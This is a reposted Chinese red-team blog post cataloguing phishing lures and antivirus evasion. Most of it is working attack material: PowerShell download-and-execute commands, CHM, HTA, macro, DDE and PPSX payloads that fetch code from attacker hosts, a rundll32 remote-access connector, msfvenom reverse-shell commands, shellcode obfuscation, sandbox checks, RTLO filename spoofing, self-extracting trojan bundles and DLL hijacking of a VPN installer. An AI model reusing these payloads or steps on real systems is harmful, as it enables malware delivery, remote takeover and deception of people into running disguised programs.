红蓝对抗之钓鱼篇:常见钓鱼思路总结
2022-10-6 00:1:51 Author: LemonSec(查看原文) 阅读量:112 收藏

目录

1、文档连接钓鱼 1)LINK链接钓鱼 2)LINK快捷方式钓鱼 3)CHM文档钓鱼 CHM文档bypass waf 4)HTA钓鱼 5)宏钓鱼 宏钓鱼 bypass waf 6)OLE(Object Linking and Embedding,对象链接与嵌入) 7)嵌入JS元素 8)利用模板文件注入宏指令 9)CVE2、伪造界面钓鱼 1)PPT动作按钮特性构造 PPSX 钓鱼3、exe等可执行文件 1)shellcode 异或加密免杀(golang) 2)shellcode转换免杀 3)shellcode编译免杀 4)shellcode分离加载免杀 5)绕过沙盒 6)exe伪装 7)绕过行为检测 8)DLL劫持+重新制作安装包 9)免杀思路4、邮件钓鱼5、flash钓鱼6、网站钓鱼

1、文档连接钓鱼

    1)LINK链接钓鱼

    首先说明一点:ftp加! 可以执行命令

首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)

快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll

快捷方式的图标以及名字可以进行适当的伪装

这里演示一下生成后门恶意链接
运行CS,根据图片点击:Scripted Wed Delivery(s)

主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行

这里就创建好了一个 powershell 的回连恶意链接 复制即可

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用

2)LINK快捷方式钓鱼

此方式与上述方式类似

首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示

打开目录,找到路径为:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后门恶意链接

创建 lnk 创建方式
将powershell恶意代码放入进行修改,将代码最前端添加绝对路径

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
这里免杀的话,使用base64等等进行混淆
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码

可以对图标和名称进行适当的更改,之后就可以开始钓鱼了

3)CHM文档钓鱼

使用 EasyCHM 可以轻松的新建一个 chm 文件

EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线

首先创建个空文件夹

创建html文件,代码如下
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错
此处打开文档执行的calc,也就是计算器
Easy CHM制作CHM文档
新建工程

工程目录选择我们建立的test文件夹(html文件放在文件夹内)

点击编译 生成CHM

双击打开查看

弹出计算机
尝试使用 Cobalt Strike 木马 + CHM 上线
Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery
上文有详细步骤

设立好监听点击开始

然后将 calc.exe 替换为:
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突
再重新生成,查看是否上线

MyJSRat配合CHM进行上线
MyJSRat下载地址:https://github.com/Ridter/MyJSRat
python2运行下面的命令:

此处使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080
Kali Linux 运行访问

复制代码替换payload,记得加上逗号
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
然后重新生成CHM并且执行

在kali上可以进行命令交互
CHM内容伪装
先拿一个正常的CHM文档内容,转为html
通过hh命令,转为html
hh -decompile .[\\html](file://html) CSS2.0中文手册.chm

钓鱼html嵌入到 html/css2/c_color.html

工程目录选择css2

注意此处,一定要诱导用户点击到 c_color.html 模块才可以

CHM文档bypass waf

(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。

4)HTA钓鱼

HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行
正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell
mshta http://127.0.0.1:8080/xxx.hta
远程调用一般会被杀,最好本地运行
利用github开源项目可以绕过部分waf
https://github.com/mdsecactivebreach/CACTUSTORCH

5)宏钓鱼

正常操作是利用cs生成宏代码,复制到vb里面去
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下
首先在word选项中开启开发工具

然后把宏打开
创建一个 test.doc

然后点击 Visual Basic

使用Cobalt Strike 生成木马

点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败

将代码粘贴到刚才打开的地方

然后保存即可
doc格式和其它启用宏的模板的格式都可以
doc格式和原来格式的图标一样
运行文件,发现cs上线

可以使用EvilClippy进行免杀
https://github.com/outflanknl/EvilClippy
使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测
Excel文件也可以进行钓鱼
新建一个Excel,在左下角的sheet处右键单击,选择插入:

在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定

完成之后左下角多了一栏 宏

分别在A1和A2输入
=exec("c:\windows\system32\cmd.exe")
=halt()
并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件
这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作

宏钓鱼 bypass waf

(1)使用远程加载XSL文件达到免杀
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
(2)高级VBA宏免杀
参考 https://www.certego.net/en/news/advanced-vba-macros/

6)OLE(Object Linking and Embedding,对象链接与嵌入)

是一种把一个文件嵌入到另一个文件中的技术
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs
在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。
注意:该方法的提示窗口只提示 application 而不提示 topic
excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1
word:
打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
msf中可直接用,生成一个rtf文档,点击即可上线
use exploit/windows/fileformat/office_dde_delivery
set lport 4444
set lhost xx.xx.xx.xx

7)嵌入JS元素

这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作
<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>

8)利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。
我们在启用宏的模板文件(doc3.dotm)里写入宏。
Sub AutoOpen()
Shell "calc"
End Sub

9)CVE

Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等
CVE-2017-0199
https://github.com/bhdresh/CVE-2017-0199
影响版本:office 2016、2013、2010、2007
CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
影响版本:office 2016、2013、2010、2007、2003
CVE-2018-0802
https://github.com/rxwx/CVE-2018-0802
影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3

2、伪造界面钓鱼

1)PPT动作按钮特性构造 PPSX 钓鱼

运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存

然后弹出的窗口处

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""
然后将格式保存为ppsx格式保存即可 执行即可上线

3、exe等可执行文件

1)shellcode 异或加密免杀(golang)

利用 msfvenom 生成一段 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234
利用 golang ,将shellcode进行异或

进行编译(在windows进行编译)
go build xxx.go运行即可
也可以利用aes加密等等

2)shellcode转换免杀

C#编译成exe -> exe -> 转js -> js混淆
参考文章:https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/
利用DotNetToJScript转exe为js
https://github.com/tyranid/DotNetToJScript

3)shellcode编译免杀

使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)
msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php
利用bamcompile将php转为exe
bamcompile -w -c shell.php shell.exe

4)shellcode分离加载免杀

分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入
远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的
shellcode loader github开源项目很多

5)绕过沙盒

主要思想:判断父进程是否为Debugger:在沙盒内被调试
判断时间是否被加速:一般沙盒内的程序时间都会加速
判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB
虚拟机其他特征
https://github.com/dycsy/ShellcodeLoader
https://github.com/1y0n/AV_Evasion_Tool

6)exe伪装

1、图标伪装
这里使用 Restorator 2018 小工具进行图标修改
http://www.pc6.com/softview/SoftView_585736.html
激活将附带的激活码填入即可
然后使用 Restorator 修改图标
直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可
图标的话需要ico格式
https://www.easyicon.net/iconsearch/⾳乐ico/
http://www.bitbug.net/在线制作ico图标
在这⾥下载图标,并在bitbug转换格式即可!

更改图标直接再图标处右键导入
2、RTLO
通过重命名,在a后面右键,插入Unicode控制字符 -> RLO

实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀
3、rar解压自运行
木马文件:artifact.exe 迷惑文件:calc.exe
进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件

高级 -> 自解压选项 -> 设置
提取前打开伪装文件,提取后运行马

模式 -> 全部隐藏

更新 -> 解压并更新文件,覆盖所有文件

双击可以打开计算机,CS上线

7)绕过行为检测

部分敏感行为可操作windowsAPI
比如360对添加用户会拦截
可以操作以下两个API绕过
NetUserAdd
NetLocalGroupAddMembers
其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等

8)DLL劫持+重新制作安装包

DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL
如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西
比如梯子的安装包以及梯子的账号密码
这里可能会用到拿破轮胎大佬写的DLL注入工具

使用方法:
1.输入CS或者msf生成的shellcode生成免杀DLL文件
2.添加需要劫持的软件或者dll
3.劫持过后会在运行目录生成一个DLL和配置文件
4.需要把两个文件放在被劫持的软件同目录下才可以运行
注意:
本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
参考文章:
https://blog.csdn.net/weixin_35771144/article/details/111056447
使用CS生成shellcode

把shellcode放入工具然后生成dll即可

选择DLL处选择生成的DLL

注入目标为
C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的

注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下

然后运行即可上线
然后接下来使用NSIS重新制作安装包
使用NSIS制作安装包可以参考:https://www.cnblogs.com/modou/p/3573772.html

9)免杀思路

1、CS生成exe的payload
2、exe-payload 放置公网服务器
3、再CS生成python-payload
4、将python-payload转base64值
5、base64值的payload再用序列化转码
6、序列化转码后的payload再用反序列化转码
7、转成反序列化后的payload再用python3的tinyaes混淆
8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可
可以查查掩日
最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行
GoFildBinder
https://github.com/Yihsiwei/GoFileBinder
golang免杀捆绑器 捆绑器免杀效果会持续更新下去
使用以下命令进行捆绑器编译
go build GoFileBinder.go
使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)
GoFileBinder.exe 木马.exe xxx.txt
也可以尝试使用kali自带的upx

4、邮件钓鱼

包含邮件服务器相关环境搭建,邮件信息收集,参考:
https://www.freebuf.com/articles/web/260391.html

5、flash钓鱼

源码:https://github.com/r00tSe7en/Fake-flash.cn
尝试自解压或者配合捆绑

6、网站钓鱼

制作钓鱼网站,克隆网站
cs,msf 都有这个功能
setoolkit
本文作者:YLion, 转载请注明来自FreeBuf.COM
侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247535992&idx=1&sn=207964f99f1779b6f0e3b6296e57da58&chksm=f9e32223ce94ab35a026170a6756c57f8576d14b3080879279caa5450e332ee0474ffe817180#rd
如有侵权请联系:admin#unsafe.sh